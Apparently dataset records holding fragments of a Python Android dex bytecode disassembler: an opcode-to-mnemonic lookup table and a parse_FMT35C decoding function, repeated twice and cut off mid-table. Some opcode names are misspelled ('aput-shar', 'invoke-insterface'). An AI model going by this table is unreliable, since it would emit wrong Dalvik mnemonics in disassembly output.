FMT10X, 1), 63: (0x3f, 'unused', 'fmt10x', FMT10X, 1), 64: (0x40, 'unused', 'fmt10x', FMT10X, 1), 65: (0x41, 'unused', 'fmt10x', FMT10X, 1), 66: (0x42, 'unused', 'fmt10x', FMT10X, 1), 67: (0x43, 'unused', 'fmt10x', FMT10X, 1), 68: (0x44, 'aget', 'fmt23x', FMT23X, 2), 69: (0x45, 'aget-wide', 'fmt23x', FMT23X, 2), 70: (0x46, 'aget-object', 'fmt23x', FMT23X, 2), 71: (0x47, 'aget-boolean', 'fmt23x', FMT23X, 2), 72: (0x48, 'aget-byte', 'fmt23x', FMT23X, 2), 73: (0x49, 'aget-char', 'fmt23x', FMT23X, 2), 74: (0x4a, 'aget-short', 'fmt23x', FMT23X, 2), 75: (0x4b, 'aput', 'fmt23x', FMT23X, 2), 76: (0x4c, 'aput-wide', 'fmt23x', FMT23X, 2), 77: (0x4d, 'aput-object', 'fmt23x', FMT23X, 2), 78: (0x4e, 'aput-boolean', 'fmt23x', FMT23X, 2), 79: (0x4f, 'aput-byte', 'fmt23x', FMT23X, 2), 80: (0x50, 'aput-shar', 'fmt23x', FMT23X, 2), 81: (0x51, 'aput-short', 'fmt23x', FMT23X, 2), 82: (0x52, 'iget', 'fmt22c', FMT22C, 2), 83: (0x53, 'iget-wide', 'fmt22c', FMT22C, 2), 84: (0x54, 'iget-object', 'fmt22c', FMT22C, 2), 85: (0x55, 'iget-boolean', 'fmt22c', FMT22C, 2), 86: (0x56, 'iget-byte', 'fmt22c', FMT22C, 2), 87: (0x57, 'iget-char', 'fmt22c', FMT22C, 2), 88: (0x58, 'iget-short', 'fmt22c', FMT22C, 2), 89: (0x59, 'iput', 'fmt22c', FMT22C, 2), 90: (0x5a, 'iput-wide', 'fmt22c', FMT22C, 2), 91: (0x5b, 'iput-object', 'fmt22c', FMT22C, 2), 92: (0x5c, 'iput-boolean', 'fmt22c', FMT22C, 2), 93: (0x5d, 'iput-byte', 'fmt22c', FMT22C, 2), 94: (0x5e, 'iput-char', 'fmt22c', FMT22C, 2), 95: (0x5f, 'iput-short', 'fmt22c', FMT22C, 2), 96: (0x60, 'sget', 'fmt21c', FMT21C, 2), 97: (0x61, 'sget-wide', 'fmt21c', FMT21C, 2), 98: (0x62, 'sget-object', 'fmt21c', FMT21C, 2), 99: (0x63, 'sget-boolean', 'fmt21c', FMT21C, 2), 100: (0x64, 'sget-byte', 'fmt21c', FMT21C, 2), 101: (0x65, 'sget-char', 'fmt21c', FMT21C, 2), 102: (0x66, 'sget-short', 'fmt21c', FMT21C, 2), 103: (0x67, 'sput', 'fmt21c', FMT21C, 2), 104: (0x68, 'sput-wide', 'fmt21c', FMT21C, 2), 105: (0x69, 'sput-object', 'fmt21c', FMT21C, 2), 106: (0x6a, 'sput-boolean', 'fmt21c', FMT21C, 2), 107: (0x6b, 'sput-byte', 'fmt21c', FMT21C, 2), 108: (0x6c, 'sput-char', 'fmt21c', FMT21C, 2), 109: (0x6d, 'sput-short', 'fmt21c', FMT21C, 2), 110: (0x6e, 'invoke-virtual', 'fmt35c', FMT35C, 3), 111: (0x6f, 'invoke-super', 'fmt35c', FMT35C, 3), 112: (0x70, 'invoke-direct', 'fmt35c', FMT35C, 3), 113: (0x71, 'invoke-static', 'fmt35c', FMT35C, 3), 114: (0x72, 'invoke-insterface', 'fmt35c', FMT35C, 3), 115: (0x73, 'unused', 'fmt10x', FMT10X, 1), 116: (0x74, 'invoke-virtual/range', 'fmt3rc', FMT3RC, 3), 117: (0x75, 'invoke-super/range', 'fmt3rc', FMT3RC, 3), 118: (0x76, 'invoke-direct/range', 'fmt3rc', FMT3RC, 3), 119: (0x77, 'invoke-static/range', 'fmt3rc', FMT3RC, 3), 120: (0x78, 'invoke-interface/range', 'fmt3rc', FMT3RC, 3), 121: (0x79, 'unused', 'fmt10x', FMT10X, 1), 122: (0x7a, 'unused', 'fmt10x', FMT10X, 1), 123: (0x7b, 'neg-int', 'fmt12x', FMT12X, 1), 124: (0x7c, 'not-int', 'fmt12x', FMT12X, 1), 125: (0x7d, 'neg-long', 'fmt12x', FMT12X, 1), 126: (0x7e, 'not-long', 'fmt12x', FMT12X, 1), 127: (0x7f, 'neg-float', 'fmt12x', FMT12X, 1), 128: (0x80, 'neg-double', 'fmt12x', FMT12X, 1), 129: (0x81, 'int-to-long', 'fmt12x', FMT12X, 1), 130: (0x82, 'int-to-float', 'fmt12x', FMT12X, 1), 131: (0x83, 'int-to-double', 'fmt12x', FMT12X, 1), 132: (0x84, 'long-to-int', 'fmt12x', FMT12X, 1), 133: (0x85, 'long-to-float', 'fmt12x', FMT12X, 1), 134: (0x86, 'long-to-double', 'fmt12x', FMT12X, 1), 135: (0x87, 'float-to-int', 'fmt12x', FMT12X, 1), 136: (0x88, 'float-to-long', 'fmt12x', FMT12X, 1), 137: (0x89, 'float-to-double', 'fmt12x', FMT12X, 1), 138: (0x8a, 'double-to-int', 'fmt12x', FMT12X, 1), 139: (0x8b, 'double-to-long', 'fmt12x', FMT12X, 1), 140: (0x8c, 'double-to-float', 'fmt12x', FMT12X, 1), 141: (0x8d, 'int-to-byte', 'fmt12x', FMT12X, 1), 142: (0x8e, 'int-to-char', 'fmt12x', FMT12X, 1), 143: (0x8f, 'int-to-short', 'fmt12x', FMT12X, 1), 144: (0x90, 'add-int', 'fmt23x', FMT23X, 2), 145: (0x91, 'sub-int', 'fmt23x', FMT23X, 2), 146: (0x92, 'mul-int', 'fmt23x', FMT23X, 2), 147: (0x93, 'div-int', 'fmt23x', FMT23X, 2), 148: (0x94, 'rem-int', 'fmt23x', FMT23X, 2), 149: (0x95, 'and-int', 'fmt23x', FMT23X, 2), 150: (0x96, 'or-int', 'fmt23x', FMT23X, 2), 151: (0x97, 'xor-int', 'fmt23x', FMT23X, 2), 152: (0x98, 'shl-int', 'fmt23x', FMT23X, 2), 153: (0x99, 'shr-int', 'fmt23x', FMT23X, 2), 154: (0x9a, 'ushr-int', 'fmt23x', FMT23X, 2), 155: (0x9b, 'add-long', 'fmt23x', FMT23X, 2), 156: (0x9c, 'sub-long', 'fmt23x', FMT23X, 2), 157: (0x9d, 'mul-long', 'fmt23x', FMT23X, 2), 158: (0x9e, 'div-long', 'fmt23x', FMT23X, 2), 159: (0x9f, 'rem-long', 'fmt23x', FMT23X, 2), 160: (0xa0, 'and-long', 'fmt23x', FMT23X, 2), 161: (0xa1, 'or-long', 'fmt23x', FMT23X, 2), 162: (0xa2, 'xor-long', 'fmt23x', FMT23X, 2), 163: (0xa3, 'shl-long', 'fmt23x', FMT23X, 2), 164: (0xa4, 'shr-long', 'fmt23x', FMT23X, 2), 165: (0xa5, 'ushr-long', 'fmt23x', FMT23X, 2), 166: (0xa6, 'add-float', 'fmt23x', FMT23X, 2), 167: (0xa7, 'sub-float', 'fmt23x', FMT23X, 2), 168: (0xa8, 'mul-float', 'fmt23x', FMT23X, 2), 169: (0xa9, 'div-float', 'fmt23x', FMT23X, 2), 170: (0xaa, 'rem-float', 'fmt23x', FMT23X, 2), 171: (0xab, 'add-double', 'fmt23x', FMT23X, 2), 172: (0xac, 'sub-double', 'fmt23x', FMT23X, 2), 173: (0xad, 'mul-double', 'fmt23x', FMT23X, 2), 174: (0xae, 'div-double', 'fmt23x', FMT23X, 2), 175: (0xaf, 'rem-double', 'fmt23x', FMT23X, 2), 176: (0xb0, 'add-int/2addr', 'fmt12x', FMT12X, 1), 177: (0xb1, 'sub-int/2addr', 'fmt12x', FMT12X, 1), 178: (0xb2, 'mul-int/2addr', 'fmt12x', FMT12X, 1), 179: (0xb3, 'div-int/2addr', 'fmt12x', FMT12X, 1), 180: (0xb4, 'rem-int/2addr', 'fmt12x', FMT12X, 1), 181: (0xb5, 'and-int/2addr', 'fmt12x', FMT12X, 1), 182: (0xb6, 'or-int/2addr', 'fmt12x', FMT12X, 1), 183: (0xb7, 'xor-int/2addr', 'fmt12x', FMT12X, 1), 184: (0xb8, 'shl-int/2addr', 'fmt12x', FMT12X, 1), 185: (0xb9, 'shr-int/2addr', 'fmt12x', FMT12X, 1), 186: (0xba, 'ushr-int/2addr', 'fmt12x', FMT12X, 1), 187: (0xbb, 'add-long/2addr', 'fmt12x', FMT12X, 1), 188: (0xbc, 'sub-long/2addr', 'fmt12x', FMT12X, 1), 189: (0xbd, 'mul-long/2addr', 'fmt12x', FMT12X, 1), 190: (0xbe, 'div-long/2addr', 'fmt12x', FMT12X, 1), 191: (0xbf, 'rem-long/2addr', 'fmt12x', FMT12X, 1), 192: (0xc0, 'and-long/2addr', 'fmt12x', FMT12X, 1), 193: (0xc1, 'or-long/2addr', 'fmt12x', FMT12X, 1), 194: (0xc2, 'xor-long/2addr', 'fmt12x', FMT12X, 1), 195: (0xc3, 'shl-long/2addr', 'fmt12x', FMT12X, 1), 196: (0xc4, 'shr-long/2addr', 'fmt12x', FMT12X, 1), 197: (0xc5, 'ushr-long/2addr', 'fmt12x', FMT12X, 1), 198: (0xc6, 'add-float/2addr', 'fmt12x', FMT12X, 1), 199: (0xc7, 'sub-float/2addr', 'fmt12x', FMT12X, 1), 200: (0xc8, 'mul-float/2addr', 'fmt12x', FMT12X, 1), 201: (0xc9, 'div-float/2addr', 'fmt12x', FMT12X, 1), 202: (0xca, 'rem-float/2addr', 'fmt12x', FMT12X, 1), 203: (0xcb, 'add-double/2addr', 'fmt12x', FMT12X, 1), 204: (0xcc, 'sub-double/2addr', 'fmt12x', FMT12X, 1), 205: (0xcd, 'mul-double/2addr', 'fmt12x', FMT12X, 1), 206: (0xce, 'div-double/2addr', 'fmt12x', FMT12X, 1), 207: (0xcf, 'rem-double/2addr', 'fmt12x', FMT12X, 1), 208: (0xd0, 'add-int/lit16', 'fmt22s', FMT22S, 2), 209: (0xd1, 'rsub-int', 'fmt22s', FMT22S, 2), 210: (0xd2, 'mul-int/lit16', 'fmt22s', FMT22S, 2), 211: (0xd3, 'div-int/lit16', 'fmt22s', FMT22S, 2), 212: (0xd4, 'rem-int/lit16', 'fmt22s', FMT22S, 2), 213: (0xd5, 'and-int/lit16', 'fmt22s', FMT22S, 2), 214: (0xd6, 'or-int/lit16', 'fmt22s', FMT22S, 2), 215: (0xd7, 'xor-int/lit16', 'fmt22s', FMT22S, 2), 216: (0xd8, 'add-int/lit8', 'fmt22b', FMT22B, 2), 217: (0xd9, 'rsub-int/lit8', 'fmt22b', FMT22B, 2), 218: (0xda, 'mul-int/lit8', 'fmt22b', FMT22B, 2), 219: (0xdb, 'div-int/lit8', 'fmt22b', FMT22B, 2), 220: (0xdc, 'rem-int/lit8', 'fmt22b', FMT22B, 2), 221: (0xdd, 'and-int/lit8', 'fmt22b', FMT22B, 2), 222: (0xde, 'or-int/lit8', 'fmt22b', FMT22B, 2), 223: (0xdf, 'xor-int/lit8', 'fmt22b', FMT22B, 2), 224: (0xe0, 'shl-int/lit8', 'fmt22b', FMT22B, 2), 225: (0xe1, 'shr-int/lit8', 'fmt22b', FMT22B, 2), 226: (0xe2, 'ushr-int/lit8', 'fmt22b', FMT22B, 2), 227: (0xe3, 'unused', 'fmt10x', FMT10X, 1), 228: (0xe4, 'unused', 'fmt10x', FMT10X, 1), 229: (0xe5, 'unused', 'fmt10x', FMT10X, 1), 230: (0xe6, 'unused', 'fmt10x', FMT10X, 1), 231: (0xe7, 'unused', 'fmt10x', FMT10X, 1), 232: (0xe8, 'unused', 'fmt10x', FMT10X, 1), 233: (0xe9, 'unused', 'fmt10x', FMT10X, 1), 234: (0xea, 'unused', 'fmt10x', FMT10X, 1), 235: (0xeb, 'unused', 'fmt10x', FMT10X, 1), 236: (0xec, 'unused', 'fmt10x', FMT10X, 1), 237: (0xed, 'unused', 'fmt10x', FMT10X, 1), 238: (0xee, 'unused', 'fmt10x', FMT10X, 1), 239: (0xef, 'unused', 'fmt10x', FMT10X, 1), 240: (0xf0, 'unused', 'fmt10x', FMT10X, 1), 241: (0xf1, 'unused', 'fmt10x', FMT10X, 1), 242: (0xf2, 'unused', 'fmt10x', FMT10X, 1), 243: (0xf3, 'unused', 'fmt10x', FMT10X, 1), 244: (0xf4, 'unused', 'fmt10x', FMT10X, 1), 245: (0xf5, 'unused', 'fmt10x', FMT10X, 1), 246: (0xf6, 'unused', 'fmt10x', FMT10X, 1), 247: (0xf7, 'unused', 'fmt10x', FMT10X, 1), 248: (0xf8, 'unused', 'fmt10x', FMT10X, 1), 249: (0xf9, 'unused', 'fmt10x', FMT10X, 1), 250: (0xfa, 'unused', 'fmt10x', FMT10X, 1), 251: (0xfb, 'unused', 'fmt10x', FMT10X, 1), 252: (0xfc, 'unused', 'fmt10x', FMT10X, 1), 253: (0xfd, 'unused', 'fmt10x', FMT10X, 1), 254: (0xfe, 'unused', 'fmt10x', FMT10X, 1), 255: (0xff, 'unused', 'fmt10x', FMT10X, 1), } import getopt def parse_FMT35C(buffer, dex_object, pc_point, offset): A = ord(buffer[1]) >> 4 G = ord(buffer[1]) & 0xf D = ord(buffer[4]) >> 4 C = ord(buffer[4]) & 0xf F = ord(buffer[5]) >> 4 E = ord(buffer[5]) & 0xf bbbb, = struct.unpack_from("H", buffer, 2) if ord(buffer[0]) == 0x24: prefix = "type@%s" % (dex_object.getstringbyid(bbbb)) else: prefix = "meth@%s //%s" % (dex_object.getmethodname(bbbb), dex_object.getmethodfullname(bbbb, True)) pass if A == 5: return ( dex_decode[ord(buffer[0])][4], dex_decode[ord(buffer[0])][1], "v%d" % C, "v%d" % D, "v%d" % E, "v%d" % F, "v%d" % G, "%s" % (prefix)) elif A == 4: return ( dex_decode[ord(buffer[0])][4], dex_decode[ord(buffer[0])][1], "v%d" % C, "v%d" % D, "v%d" % E, "v%d" % F, "%s" % (prefix)) elif A == 3: return ( dex_decode[ord(buffer[0])][4], dex_decode[ord(buffer[0])][1], "v%d" % C, "v%d" % D, "v%d" % E, "%s" % (prefix)) elif A == 2: return (dex_decode[ord(buffer[0])][4], dex_decode[ord(buffer[0])][1], "v%d" % C, "v%d" % D, "%s" % (prefix)) elif A == 1: return (dex_decode[ord(buffer[0])][4], dex_decode[ord(buffer[0])][1], "v%d" % C, "%s" % (prefix)) elif A == 0: return (dex_decode[ord(buffer[0])][4], dex_decode[ord(buffer[0])][1], "%s" % (prefix)) else: return (dex_decode[ord(buffer[0])][4], "error .......") return ( dex_decode[ord(buffer[0])][4], dex_decode[ord(buffer[0])][1], "v%d" % C, "v%d" % D, "v%d" % E, "v%d" % F, "v%d" % G, "%s" % (prefix))
null
17,389
import sys import struct import array import base64 import re dex_decode = { 0: (0x00, 'nop', 'fmt10x', FMT10X, 1), 1: (0x01, 'move', 'fmt12x', FMT12X, 1), 2: (0x02, 'move/from16', 'fmt22x', FMT22X, 2), 3: (0x03, 'move/16', 'fmt32x', FMT32X, 3), 4: (0x04, 'move-wide', 'fmt12x', FMT12X, 1), 5: (0x05, 'move-wide/from16', 'fmt22x', FMT22X, 2), 6: (0x06, 'move-wide/16', 'fmt32x', FMT32X, 3), 7: (0x07, 'move-object', 'fmt12x', FMT12X, 1), 8: (0x08, 'move-object/from16', 'fmt22x', FMT22X, 2), 9: (0x09, 'move-object/16', 'fmt32x', FMT32X, 3), 10: (0x0a, 'move-result', 'fmt11x', FMT11X, 1), 11: (0x0b, 'move-result-wide', 'fmt11x', FMT11X, 1), 12: (0x0c, 'move-result-object', 'fmt11x', FMT11X, 1), 13: (0x0d, 'move-exception', 'fmt11x', FMT11X, 1), 14: (0x0e, 'return-void', 'fmt10x', FMT10X, 1), 15: (0x0f, 'return', 'fmt11x', FMT11X, 1), 16: (0x10, 'return-wide', 'fmt11x', FMT11X, 1), 17: (0x11, 'return-object', 'fmt11x', FMT11X, 1), 18: (0x12, 'const/4', 'fmt11n', FMT11N, 1), 19: (0x13, 'const/16', 'fmt21s', FMT21S, 2), 20: (0x14, 'const', 'fmt31i', FMT31I, 3), 21: (0x15, 'const/high16', 'fmt21h', FMT21H, 2), 22: (0x16, 'const-wide/16', 'fmt21s', FMT21S, 2), 23: (0x17, 'const-wide/32', 'fmt31i', FMT31I, 3), 24: (0x18, 'const-wide', 'fmt51l', FMT51L, 5), 25: (0x19, 'const-wide/high16', 'fmt21h', FMT21H, 2), 26: (0x1a, 'const-string', 'fmt21c', FMT21C, 2), 27: (0x1b, 'const-string/jumbo', 'fmt31c', FMT31C, 3), 28: (0x1c, 'const-class', 'fmt21c', FMT21C, 2), 29: (0x1d, 'monitor-enter', 'fmt11x', FMT11X, 1), 30: (0x1e, 'monitor-exit', 'fmt11x', FMT11X, 1), 31: (0x1f, 'check-cast', 'fmt21c', FMT21C, 2), 32: (0x20, 'instance-of', 'fmt22c', FMT22C, 2), 33: (0x21, 'array-length', 'fmt12x', FMT12X, 1), 34: (0x22, 'new-instance', 'fmt21c', FMT21C, 2), 35: (0x23, 'new-array', 'fmt22c', FMT22C, 2), 36: (0x24, 'filled-new-array', 'fmt35c', FMT35C, 3), 37: (0x25, 'filled-new-array/range', 'fmt3rc', FMT3RC, 3), 38: (0x26, 'fill-array-data', 'fmt31t', FMT31T, 3), 39: (0x27, 'throw', 'fmt11x', FMT11X, 1), 40: (0x28, 'goto', 'fmt10t', FMT10T, 1), 41: (0x29, 'goto/16', 'fmt20t', FMT20T, 2), 42: (0x2a, 'goto/32', 'fmt30t', FMT30T, 3), 43: (0x2b, 'packed-switch', 'fmt31t', FMT31T, 3), 44: (0x2c, 'sparse-switch', 'fmt31t', FMT31T, 3), 45: (0x2d, 'cmpl-float', 'fmt23x', FMT23X, 2), 46: (0x2e, 'cmpg-float', 'fmt23x', FMT23X, 2), 47: (0x2f, 'cmpl-double', 'fmt23x', FMT23X, 2), 48: (0x30, 'cmpg-double', 'fmt23x', FMT23X, 2), 49: (0x31, 'cmp-long', 'fmt23x', FMT23X, 2), 50: (0x32, 'if-eq', 'fmt22t', FMT22T, 2), 51: (0x33, 'if-ne', 'fmt22t', FMT22T, 2), 52: (0x34, 'if-lt', 'fmt22t', FMT22T, 2), 53: (0x35, 'if-ge', 'fmt22t', FMT22T, 2), 54: (0x36, 'if-gt', 'fmt22t', FMT22T, 2), 55: (0x37, 'if-le', 'fmt22t', FMT22T, 2), 56: (0x38, 'if-eqz', 'fmt21t', FMT21T, 2), 57: (0x39, 'if-nez', 'fmt21t', FMT21T, 2), 58: (0x3a, 'if-ltz', 'fmt21t', FMT21T, 2), 59: (0x3b, 'if-gez', 'fmt21t', FMT21T, 2), 60: (0x3c, 'if-gtz', 'fmt21t', FMT21T, 2), 61: (0x3d, 'if-lez', 'fmt21t', FMT21T, 2), 62: (0x3e, 'unused', 'fmt10x', FMT10X, 1), 63: (0x3f, 'unused', 'fmt10x', FMT10X, 1), 64: (0x40, 'unused', 'fmt10x', FMT10X, 1), 65: (0x41, 'unused', 'fmt10x', FMT10X, 1), 66: (0x42, 'unused', 'fmt10x', FMT10X, 1), 67: (0x43, 'unused', 'fmt10x', FMT10X, 1), 68: (0x44, 'aget', 'fmt23x', FMT23X, 2), 69: (0x45, 'aget-wide', 'fmt23x', FMT23X, 2), 70: (0x46, 'aget-object', 'fmt23x', FMT23X, 2), 71: (0x47, 'aget-boolean', 'fmt23x', FMT23X, 2), 72: (0x48, 'aget-byte', 'fmt23x', FMT23X, 2), 73: (0x49, 'aget-char', 'fmt23x', FMT23X, 2), 74: (0x4a, 'aget-short', 'fmt23x', FMT23X, 2), 75: (0x4b, 'aput', 'fmt23x', FMT23X, 2), 76: (0x4c, 'aput-wide', 'fmt23x', FMT23X, 2), 77: (0x4d, 'aput-object', 'fmt23x', FMT23X, 2), 78: (0x4e, 'aput-boolean', 'fmt23x', FMT23X, 2), 79: (0x4f, 'aput-byte', 'fmt23x', FMT23X, 2), 80: (0x50, 'aput-shar', 'fmt23x', FMT23X, 2), 81: (0x51, 'aput-short', 'fmt23x', FMT23X, 2), 82: (0x52, 'iget', 'fmt22c', FMT22C, 2), 83: (0x53, 'iget-wide', 'fmt22c', FMT22C, 2), 84: (0x54, 'iget-object', 'fmt22c', FMT22C, 2), 85: (0x55, 'iget-boolean', 'fmt22c', FMT22C, 2), 86: (0x56, 'iget-byte', 'fmt22c', FMT22C, 2), 87: (0x57, 'iget-char', 'fmt22c', FMT22C, 2), 88: (0x58, 'iget-short', 'fmt22c', FMT22C, 2), 89: (0x59, 'iput', 'fmt22c', FMT22C, 2), 90: (0x5a, 'iput-wide', 'fmt22c', FMT22C, 2), 91: (0x5b, 'iput-object', 'fmt22c', FMT22C, 2), 92: (0x5c, 'iput-boolean', 'fmt22c', FMT22C, 2), 93: (0x5d, 'iput-byte', 'fmt22c', FMT22C, 2), 94: (0x5e, 'iput-char', 'fmt22c', FMT22C, 2), 95: (0x5f, 'iput-short', 'fmt22c', FMT22C, 2), 96: (0x60, 'sget', 'fmt21c', FMT21C, 2), 97: (0x61, 'sget-wide', 'fmt21c', FMT21C, 2), 98: (0x62, 'sget-object', 'fmt21c', FMT21C, 2), 99: (0x63, 'sget-boolean', 'fmt21c', FMT21C, 2), 100: (0x64, 'sget-byte', 'fmt21c', FMT21C, 2), 101: (0x65, 'sget-char', 'fmt21c', FMT21C, 2), 102: (0x66, 'sget-short', 'fmt21c', FMT21C, 2), 103: (0x67, 'sput', 'fmt21c', FMT21C, 2), 104: (0x68, 'sput-wide', 'fmt21c', FMT21C, 2), 105: (0x69, 'sput-object', 'fmt21c', FMT21C, 2), 106: (0x6a, 'sput-boolean', 'fmt21c', FMT21C, 2), 107: (0x6b, 'sput-byte', 'fmt21c', FMT21C, 2), 108: (0x6c, 'sput-char', 'fmt21c', FMT21C, 2), 109: (0x6d, 'sput-short', 'fmt21c', FMT21C, 2), 110: (0x6e, 'invoke-virtual', 'fmt35c', FMT35C, 3), 111: (0x6f, 'invoke-super', 'fmt35c', FMT35C, 3), 112: (0x70, 'invoke-direct', 'fmt35c', FMT35C, 3), 113: (0x71, 'invoke-static', 'fmt35c', FMT35C, 3), 114: (0x72, 'invoke-insterface', 'fmt35c', FMT35C, 3), 115: (0x73, 'unused', 'fmt10x', FMT10X, 1), 116: (0x74, 'invoke-virtual/range', 'fmt3rc', FMT3RC, 3), 117: (0x75, 'invoke-super/range', 'fmt3rc', FMT3RC, 3), 118: (0x76, 'invoke-direct/range', 'fmt3rc', FMT3RC, 3), 119: (0x77, 'invoke-static/range', 'fmt3rc', FMT3RC, 3), 120: (0x78, 'invoke-interface/range', 'fmt3rc', FMT3RC, 3), 121: (0x79, 'unused', 'fmt10x', FMT10X, 1), 122: (0x7a, 'unused', 'fmt10x', FMT10X, 1), 123: (0x7b, 'neg-int', 'fmt12x', FMT12X, 1), 124: (0x7c, 'not-int', 'fmt12x', FMT12X, 1), 125: (0x7d, 'neg-long', 'fmt12x', FMT12X, 1), 126: (0x7e, 'not-long', 'fmt12x', FMT12X, 1), 127: (0x7f, 'neg-float', 'fmt12x', FMT12X, 1), 128: (0x80, 'neg-double', 'fmt12x', FMT12X, 1), 129: (0x81, 'int-to-long', 'fmt12x', FMT12X, 1), 130: (0x82, 'int-to-float', 'fmt12x', FMT12X, 1), 131: (0x83, 'int-to-double', 'fmt12x', FMT12X, 1), 132: (0x84, 'long-to-int', 'fmt12x', FMT12X, 1), 133: (0x85, 'long-to-float', 'fmt12x', FMT12X, 1), 134: (0x86, 'long-to-double', 'fmt12x', FMT12X, 1), 135: (0x87, 'float-to-int', 'fmt12x', FMT12X, 1), 136: (0x88, 'float-to-long', 'fmt12x', FMT12X, 1), 137: (0x89, 'float-to-double', 'fmt12x', FMT12X, 1), 138: (0x8a, 'double-to-int', 'fmt12x', FMT12X, 1), 139: (0x8b, 'double-to-long', 'fmt12x', FMT12X, 1), 140: (0x8c, 'double-to-float', 'fmt12x', FMT12X, 1), 141: (0x8d, 'int-to-byte', 'fmt12x', FMT12X, 1), 142: (0x8e, 'int-to-char', 'fmt12x', FMT12X, 1), 143: (0x8f, 'int-to-short', 'fmt12x', FMT12X, 1), 144: (0x90, 'add-int', 'fmt23x', FMT23X, 2), 145: (0x91, 'sub-int', 'fmt23x', FMT23X, 2), 146: (0x92, 'mul-int', 'fmt23x', FMT23X, 2), 147: (0x93, 'div-int', 'fmt23x', FMT23X, 2), 148: (0x94, 'rem-int', 'fmt23x', FMT23X, 2), 149: (0x95, 'and-int', 'fmt23x', FMT23X, 2), 150: (0x96, 'or-int', 'fmt23x', FMT23X, 2), 151: (0x97, 'xor-int', 'fmt23x', FMT23X, 2), 152: (0x98, 'shl-int', 'fmt23x', FMT23X, 2), 153: (0x99, 'shr-int', 'fmt23x', FMT23X, 2), 154: (0x9a, 'ushr-int', 'fmt23x', FMT23X, 2), 155: (0x9b, 'add-long', 'fmt23x', FMT23X, 2), 156: (0x9c, 'sub-long', 'fmt23x', FMT23X, 2), 157: (0x9d, 'mul-long', 'fmt23x', FMT23X, 2), 158: (0x9e, 'div-long', 'fmt23x', FMT23X, 2), 159: (0x9f, 'rem-long', 'fmt23x', FMT23X, 2), 160: (0xa0, 'and-long', 'fmt23x', FMT23X, 2), 161: (0xa1, 'or-long', 'fmt23x', FMT23X, 2), 162: (0xa2, 'xor-long', 'fmt23x', FMT23X, 2), 163: (0xa3, 'shl-long', 'fmt23x', FMT23X, 2), 164: (0xa4, 'shr-long', 'fmt23x', FMT23X, 2), 165: (0xa5, 'ushr-long', 'fmt23x', FMT23X, 2), 166: (0xa6, 'add-float', 'fmt23x', FMT23X, 2), 167: (0xa7, 'sub-float', 'fmt23x', FMT23X, 2), 168: (0xa8, 'mul-float', 'fmt23x', FMT23X, 2), 169: (0xa9, 'div-float', 'fmt23x', FMT23X, 2), 170: (0xaa, 'rem-float', 'fmt23x', FMT23X, 2), 171: (0xab, 'add-double', 'fmt23x', FMT23X, 2), 172: (0xac, 'sub-double', 'fmt23x', FMT23X, 2), 173: (0xad, 'mul-double', 'fmt23x', FMT23X, 2), 174: (0xae, 'div-double', 'fmt23x', FMT23X, 2), 175: (0xaf, 'rem-double', 'fmt23x', FMT23X, 2), 176: (0xb0, 'add-int/2addr', 'fmt12x', FMT12X, 1), 177: (0xb1, 'sub-int/2addr', 'fmt12x', FMT12X, 1), 178: (0xb2, 'mul-int/2addr', 'fmt12x', FMT12X, 1), 179: (0xb3, 'div-int/2addr', 'fmt12x', FMT12X, 1), 180: (0xb4, 'rem-int/2addr', 'fmt12x', FMT12X, 1), 181: (0xb5, 'and-int/2addr', 'fmt12x', FMT12X, 1), 182: (0xb6, 'or-int/2addr', 'fmt12x', FMT12X, 1), 183: (0xb7, 'xor-int/2addr', 'fmt12x', FMT12X, 1), 184: (0xb8, 'shl-int/2addr', 'fmt12x', FMT12X, 1), 185: (0xb9, 'shr-int/2addr', 'fmt12x', FMT12X, 1), 186: (0xba, 'ushr-int/2addr', 'fmt12x', FMT12X, 1), 187: (0xbb, 'add-long/2addr', 'fmt12x', FMT12X, 1), 188: (0xbc, 'sub-long/2addr', 'fmt12x', FMT12X, 1), 189: (0xbd, 'mul-long/2addr', 'fmt12x', FMT12X, 1), 190: (0xbe, 'div-long/2addr', 'fmt12x', FMT12X, 1), 191: (0xbf, 'rem-long/2addr', 'fmt12x', FMT12X, 1), 192: (0xc0, 'and-long/2addr', 'fmt12x', FMT12X, 1), 193: (0xc1, 'or-long/2addr', 'fmt12x', FMT12X, 1), 194: (0xc2, 'xor-long/2addr', 'fmt12x', FMT12X, 1), 195: (0xc3, 'shl-long/2addr', 'fmt12x', FMT12X, 1), 196: (0xc4, 'shr-long/2addr', 'fmt12x', FMT12X, 1), 197: (0xc5, 'ushr-long/2addr', 'fmt12x', FMT12X, 1), 198: (0xc6, 'add-float/2addr', 'fmt12x', FMT12X, 1), 199: (0xc7, 'sub-float/2addr', 'fmt12x', FMT12X, 1), 200: (0xc8, 'mul-float/2addr', 'fmt12x', FMT12X, 1), 201: (0xc9, 'div-float/2addr', 'fmt12x', FMT12X, 1), 202: (0xca, 'rem-float/2addr', 'fmt12x', FMT12X, 1), 203: (0xcb, 'add-double/2addr', 'fmt12x', FMT12X, 1), 204: (0xcc, 'sub-double/2addr', 'fmt12x', FMT12X, 1), 205: (0xcd, 'mul-double/2addr', 'fmt12x', FMT12X, 1), 206: (0xce, 'div-double/2addr', 'fmt12x', FMT12X, 1), 207: (0xcf, 'rem-double/2addr', 'fmt12x', FMT12X, 1), 208: (0xd0, 'add-int/lit16', 'fmt22s', FMT22S, 2), 209: (0xd1, 'rsub-int', 'fmt22s', FMT22S, 2), 210: (0xd2, 'mul-int/lit16', 'fmt22s', FMT22S, 2), 211: (0xd3, 'div-int/lit16', 'fmt22s', FMT22S, 2), 212: (0xd4, 'rem-int/lit16', 'fmt22s', FMT22S, 2), 213: (0xd5, 'and-int/lit16', 'fmt22s', FMT22S, 2), 214: (0xd6, 'or-int/lit16', 'fmt22s', FMT22S, 2), 215: (0xd7, 'xor-int/lit16', 'fmt22s', FMT22S, 2), 216: (0xd8, 'add-int/lit8', 'fmt22b', FMT22B, 2), 217: (0xd9, 'rsub-int/lit8', 'fmt22b', FMT22B, 2), 218: (0xda, 'mul-int/lit8', 'fmt22b', FMT22B, 2), 219: (0xdb, 'div-int/lit8', 'fmt22b', FMT22B, 2), 220: (0xdc, 'rem-int/lit8', 'fmt22b', FMT22B, 2), 221: (0xdd, 'and-int/lit8', 'fmt22b', FMT22B, 2), 222: (0xde, 'or-int/lit8', 'fmt22b', FMT22B, 2), 223: (0xdf, 'xor-int/lit8', 'fmt22b', FMT22B, 2), 224: (0xe0, 'shl-int/lit8', 'fmt22b', FMT22B, 2), 225: (0xe1, 'shr-int/lit8', 'fmt22b', FMT22B, 2), 226: (0xe2, 'ushr-int/lit8', 'fmt22b', FMT22B, 2), 227: (0xe3, 'unused', 'fmt10x', FMT10X, 1), 228: 